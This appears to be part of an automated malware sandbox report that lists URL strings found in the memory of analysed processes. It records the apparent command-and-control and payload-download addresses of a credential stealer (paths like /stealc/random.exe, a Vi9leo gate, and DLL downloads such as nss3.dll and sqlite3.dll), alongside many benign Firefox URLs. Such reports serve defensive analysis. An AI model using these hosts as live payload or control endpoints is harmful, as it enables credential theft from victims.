Source: file.exe, 00000000.00000002.2496187977.000000000278B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeT5
Source: file.exe, 00000000.00000002.2496187977.000000000278B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/soka/random.exe
Source: file.exe, 00000000.00000002.2496187977.000000000278B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/soka/random.exeb3
Source: file.exe, 00000000.00000002.2496187977.000000000278B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/soka/random.exej4
Source: explorti.exe, 00000013.00000002.3323751000.0000000001172000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/stealc/random.exe
Source: explorti.exe, 00000013.00000002.3323751000.0000000001172000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/stealc/random.exe&
Source: explorti.exe, 00000013.00000002.3323751000.0000000001172000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/stealc/random.exe-
Source: explorti.exe, 00000013.00000002.3323751000.0000000001172000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/stealc/random.exe/
Source: explorti.exe, 00000013.00000002.3323751000.0000000001172000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/stealc/random.exe13
Source: explorti.exe, 00000013.00000002.3323751000.000000000119C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: explorti.exe, 00000013.00000002.3323751000.000000000119C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/
Source: explorti.exe, 00000013.00000002.3323751000.000000000119C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/D
Source: explorti.exe, 00000013.00000002.3323751000.000000000119C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/G
Source: explorti.exe, 00000013.00000002.3323751000.00000000011C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php
Source: explorti.exe, 00000013.00000002.3323751000.00000000011C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php/b3
Source: explorti.exe, 00000013.00000002.3323751000.000000000119C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php17001
Source: explorti.exe, 00000013.00000002.3323751000.00000000011C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php8
Source: explorti.exe, 00000013.00000002.3323751000.00000000011C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php?b
Source: explorti.exe, 00000013.00000002.3323751000.00000000011C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php?e
Source: explorti.exe, 00000013.00000002.3323751000.00000000011C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpOb
Source: explorti.exe, 00000013.00000002.3323751000.00000000011C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpOe
Source: explorti.exe, 00000013.00000003.2933603717.00000000011DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpX
Source: explorti.exe, 00000013.00000002.3323751000.00000000011C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php_b#
Source: explorti.exe, 00000013.00000002.3323751000.00000000011C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php_e#a
Source: explorti.exe, 00000013.00000002.3323751000.00000000011C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpf
Source: explorti.exe, 00000013.00000002.3323751000.00000000011C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpob
Source: explorti.exe, 00000013.00000002.3323751000.00000000011C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpoc
Source: explorti.exe, 00000013.00000002.3323751000.00000000011C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phprsion
Source: explorti.exe, 00000013.00000002.3323751000.000000000119C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phptch
Source: explorti.exe, 00000013.00000002.3323751000.000000000119C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1Z
Source: explorti.exe, 00000013.00000002.3323751000.000000000119C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/ta
Source: file.exe, 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmp, 9fa327eb6c.exe, 00000015.00000002.2718319930.000000000253E000.00000004.00000020.00020000.00000000.sdmp, 9fa327eb6c.exe, 00000019.00000002.2829021597.000000000270B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31
Source: 9fa327eb6c.exe, 00000019.00000002.2829021597.0000000002741000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/
Source: 9fa327eb6c.exe, 00000019.00000002.2829021597.0000000002741000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.php
Source: 9fa327eb6c.exe, 00000019.00000002.2829021597.0000000002741000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.php#(n
Source: 9fa327eb6c.exe, 00000019.00000002.2829021597.0000000002741000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.php/1
Source: 9fa327eb6c.exe, 00000015.00000002.2718500578.000000000259B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.php3
Source: file.exe, 00000000.00000002.2496187977.000000000278B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpM42
Source: file.exe, 00000000.00000002.2514256490.0000000028D6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpT
Source: 9fa327eb6c.exe, 00000015.00000002.2718500578.000000000259B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpU
Source: 9fa327eb6c.exe, 00000015.00000002.2718500578.000000000259B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpi
Source: file.exe, 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phposition:
Source: file.exe, 00000000.00000002.2520264029.00000000350C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpr
Source: file.exe, 00000000.00000002.2496187977.0000000002757000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2496187977.00000000027DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/freebl3.dll
Source: file.exe, 00000000.00000002.2496187977.0000000002757000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/freebl3.dllO
Source: file.exe, 00000000.00000002.2496187977.00000000027DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/freebl3.dllc
Source: file.exe, 00000000.00000002.2496187977.00000000027DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/mozglue.dll
Source: file.exe, 00000000.00000002.2496187977.00000000027DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/mozglue.dll5
Source: file.exe, 00000000.00000002.2496187977.000000000278B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/msvcp140.dll
Source: file.exe, 00000000.00000002.2496187977.000000000278B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/msvcp140.dllv:?
Source: file.exe, 00000000.00000002.2496187977.00000000027DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/nss3.dll
Source: file.exe, 00000000.00000002.2496187977.00000000027DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/nss3.dll1
Source: file.exe, 00000000.00000002.2496187977.000000000278B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/softokn3.dll
Source: file.exe, 00000000.00000002.2496187977.000000000278B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/softokn3.dllV;
Source: file.exe, 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/sqlite3.dll
Source: file.exe, 00000000.00000002.2496187977.0000000002757000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/sqlite3.dllZ
Source: file.exe, 00000000.00000002.2496187977.000000000278B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/vcruntime140.dll
Source: 9fa327eb6c.exe, 00000019.00000002.2829021597.0000000002741000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/;1
Source: 9fa327eb6c.exe, 00000019.00000002.2829021597.0000000002741000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/=1
Source: 9fa327eb6c.exe, 00000019.00000002.2829021597.000000000270B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/V
Source: 9fa327eb6c.exe, 00000015.00000002.2718500578.000000000259B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/dod
Source: 9fa327eb6c.exe, 00000019.00000002.2829021597.0000000002741000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/e
Source: file.exe, 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://85.28.47.315499d72b3a3e55be.phposition:
Source: 9fa327eb6c.exe, 00000015.00000002.2718319930.000000000253E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31E;
Source: 9fa327eb6c.exe, 00000019.00000002.2829021597.000000000270B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31O
Source: 9fa327eb6c.exe, 00000019.00000002.2829021597.0000000002741000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31s1
Source: file.exe, 00000000.00000002.2496023494.000000000272E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31yd
Source: firefox.exe, 0000001F.00000002.3010160093.000001B11C260000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: firefox.exe, 0000001F.00000002.3010160093.000001B11C260000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: firefox.exe, 0000001F.00000002.3010160093.000001B11C260000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
Source: firefox.exe, 0000001F.00000002.3010160093.000001B11C260000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
Source: firefox.exe, 0000001F.00000002.2963021945.000001B11157D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111B7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%sresource://gre/modules/JSONFile.sys.mjs
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111B7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%sresource://gre/modules/JSONFile.sys.mjsresource://gr
Source: firefox.exe, 0000001F.00000002.2972528823.000001B114DC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: firefox.exe, 0000001F.00000002.2994122055.000001B116B65000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3000161016.000001B1177BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 0000001F.00000002.2982408855.000001B115D80000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000001F.00000002.2988472196.000001B1166E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListener
Source: firefox.exe, 0000001F.00000002.2977902374.000001B1153F0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListenerFailed
Source: firefox.exe, 0000001F.00000002.2988472196.000001B1166E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: firefox.exe, 0000001F.00000002.2977902374.000001B1153F0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListenerThe
Source: firefox.exe, 0000001F.00000002.2953298471.000001B104803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/stringsp
Source: firefox.exe, 0000001F.00000002.3022925939.000001B40003F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2994122055.000001B116B97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2967893682.000001B112B8F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2978323155.000001B11559D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2982408855.000001B115D80000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2921837899.000001B1155DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2996759132.000001B1175C5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2996759132.000001B11755B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2982408855.000001B115DE7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2982408855.000001B115D70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2939237933.000001B1068C0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2956400366.000001B1068B9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2996759132.000001B1175A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2979155172.000001B115703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3006356102.000001B11BF36000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2984824415.000001B1161D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2996759132.000001B11758D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2940922435.000001B1068BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3018521435.000001B11DD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2974564214.000001B114F7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2954167196.000001B1066D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000B82000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 00000018.00000000.2712024873.0000000000E22000.00000080.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000B82000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000000.2864690490.0000000000E22000.00000080.00000001.01000000.00000011.sdmp	String found in binary or memory: http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000B82000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 00000018.00000000.2712024873.0000000000E22000.00000080.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000B82000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000000.2864690490.0000000000E22000.00000080.00000001.01000000.00000011.sdmp	String found in binary or memory: http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000B82000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 00000018.00000000.2712024873.0000000000E22000.00000080.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000B82000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000000.2864690490.0000000000E22000.00000080.00000001.01000000.00000011.sdmp	String found in binary or memory: http://pki-ocsp.symauth.com0
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111B7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2963021945.000001B11157D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001F.00000002.2972528823.000001B114DC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 0000001F.00000002.2955694353.000001B106703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0W
Source: firefox.exe, 0000001F.00000002.2955694353.000001B106703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111B7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2963021945.000001B11157D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111B7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%shandlerSvc
Source: firefox.exe, 0000001F.00000002.2972528823.000001B114DC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111B7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2963021945.000001B11157D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 0000001F.00000002.2972528823.000001B114DC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: file.exe, file.exe, 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: firefox.exe, 0000001F.00000002.3018521435.000001B11DD03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updatex
Source: firefox.exe, 0000001F.00000002.3010160093.000001B11C260000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2006/browser/search/
Source: firefox.exe, 0000001F.00000002.2989528701.000001B11689F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2989528701.000001B116803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2978854207.000001B115687000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000001F.00000002.2980952151.000001B115B6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul8
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111B48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulgetAttrDataAsync:
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111BDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/ExtensionPrefere
Source: file.exe, 00000000.00000002.2520774989.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2509615425.000000001CBA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: firefox.exe, 0000001F.00000002.2955694353.000001B106703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: firefox.exe, 0000001F.00000002.2955694353.000001B106703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111B7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2916533692.000001B112E1C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2916983014.000001B112E5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: file.exe, 00000000.00000003.2123124087.00000000027DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2972528823.000001B114D7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 0000001F.00000002.2954167196.000001B1066BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.comK
Source: firefox.exe, 0000001F.00000002.2970664695.000001B1136C2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2970664695.000001B113680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000001F.00000002.2987356094.000001B1165BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2986979517.000001B116405000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2965917115.000001B111BDD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2986979517.000001B116409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000001F.00000002.3024126644.00002E551AD00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/
Source: firefox.exe, 0000001F.00000002.2972528823.000001B114D7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 0000001F.00000002.3006356102.000001B11BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com/
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111B7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 0000001F.00000002.3004882202.000001B11BB39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: file.exe, 00000000.00000002.2514256490.0000000028D61000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2972528823.000001B114D7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2514256490.0000000028D61000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2972528823.000001B114D7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: firefox.exe, 0000001F.00000002.2978854207.000001B115687000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111B27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 0000001F.00000002.2954167196.000001B106621000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
